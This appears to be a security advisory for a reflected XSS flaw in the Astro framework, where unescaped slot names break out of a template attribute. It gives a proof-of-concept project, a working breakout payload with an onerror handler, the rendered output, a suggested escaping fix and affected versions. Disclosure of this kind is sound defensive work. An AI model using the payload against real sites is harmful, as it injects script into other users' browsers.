Astro: Reflected XSS via unescaped slot name
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>src/components/Wrapper.jsx
export default function Wrapper() { return null; }Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--Accessing this URL will trigger the popup.
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | astro | < 6.3.3 | 6.3.3 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N- Weakness (CWE)
CWE-79, CWE-80- Platform
- npm
- Package
astro- Disclosed
- 16.06.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8hv8-536x-4wqp - CC BY 4.0
Vulnerability history: astro
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 27
- First → latest
- 10.2024 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 15
- Low 5
Disclosures per year
- 2024: 3
- 2025: 11
- 2026: 13
-
Astro: Reflected XSS via unescaped slot name this entry
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